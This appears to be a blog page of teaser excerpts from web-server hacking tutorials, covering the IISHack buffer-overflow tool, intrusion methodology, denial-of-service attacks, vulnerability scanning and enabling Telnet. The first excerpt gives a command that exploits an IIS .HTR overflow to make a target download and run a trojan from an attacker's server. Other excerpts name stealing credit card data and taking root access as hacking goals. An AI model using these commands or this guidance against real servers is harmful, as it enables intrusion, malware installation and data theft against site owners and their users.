Learn How To Hack Web Servers

Hacking Tool: IISHack.exe

iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.

 

c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe

www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.

 

"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.

Read More

How To Hack Websites And WebServers

Before you hack a system, you must decide what your goal is. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc ... ? The point is that you have to decide what the goal is first.
Download Tutorial How to Hack Webservers
The most common goals are:

1. breaking into the system & taking the admin privileges.
2. gaining sensitive data, such as credit cards, identification theft, etc.

You should have all of your tools ready before you start taking the steps of hacking. There is a Unix version called backtrack. It is an Operating System that comes with various sets of security tools that will help you hack systems (penetration tests).

Read More

How to Hack Websites & Servers from Scratch! Step by Step Tutorial for Beginners

I'm going to provide the common methodology that is followed when hacking a machine/network/server. This tutorial will give you a good understanding & an overview about professional penetration test in a black box (attacker) point of view. It is designed to give you the idea on how an attacker can break into your system, what am gonna say will increase your awareness & will open the door for you to go out & educate yourself easily. I gathered these info from various sources and tutorials, i have changed many stuff, clarified many parts, gave some references, and put many information together. I'm still a learner & on the way to my goal. However, this won't prevent from teaching others what i have learned so far & don't worry i'm not going to provide you any info that i'm not sure about yet. It is not the best tutorial out there, but at least it is a good starter. I will speak in a hacker (attacker or blackbox) point of view. I write this tutorial for educational purposes only.
Since i'm not a native speaker, expect to see lots of grammar and spelling mistakes.

Before you hack a system, you must decide what is your goal. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discover vulns & see how you can exploit them, etc ... The point is you have to decide the goal.

The most common goals are:

Read More

Web Server Hacking Techniques

Lots of people know use, configure and manage their webservers but only few of them really know how to protect their web server from getting hacked i.e making it hack proof. Today lots of websites are hosted on a dedicated web servers so it’s extremely important to make your web server hack proof in order to prevent any theft and data loss, Before I mention techniques used by hackers to compromise a web server and how you can protect your web server you should know what a web server is and how it works.
What is a webserver?
Basically a webserver is a single computer or more used to host websites, For a website to be available to every one (connected to internet) 24/7 it needs to be hosted on a webserver

Read More

Flood a website with denial of service attack

What is a Denial Of Service Attack?

A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.
If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method for website hacking

Types of denial of service attacks
There are several general categories of DoS attacks.Popularly, the attacks are divided into three classes:

Read More

Hacking Web Servers : Top Scan Method | Ethical Hacking

 Hacking Web Servers : Top Scan Method | Ethical Hacking

This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (www.sans.org)

Hacking Tool: WebInspect

• WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.
• It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.
• It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages

Read More

Enable Telnet in windows 7

It’s very rare that I use Telnet these days, so it took a long time for me to notice that by default it was not packaged with Windows 7. I did some research and found out that this was also true for Windows Vista. More than likely this was an attempt to make Windows more secure by default, as Telnet is very insecure and whenever you have the choice you should always use SSH. However, with that being said, you can quickly re-enable Telnet by following these steps:

Read More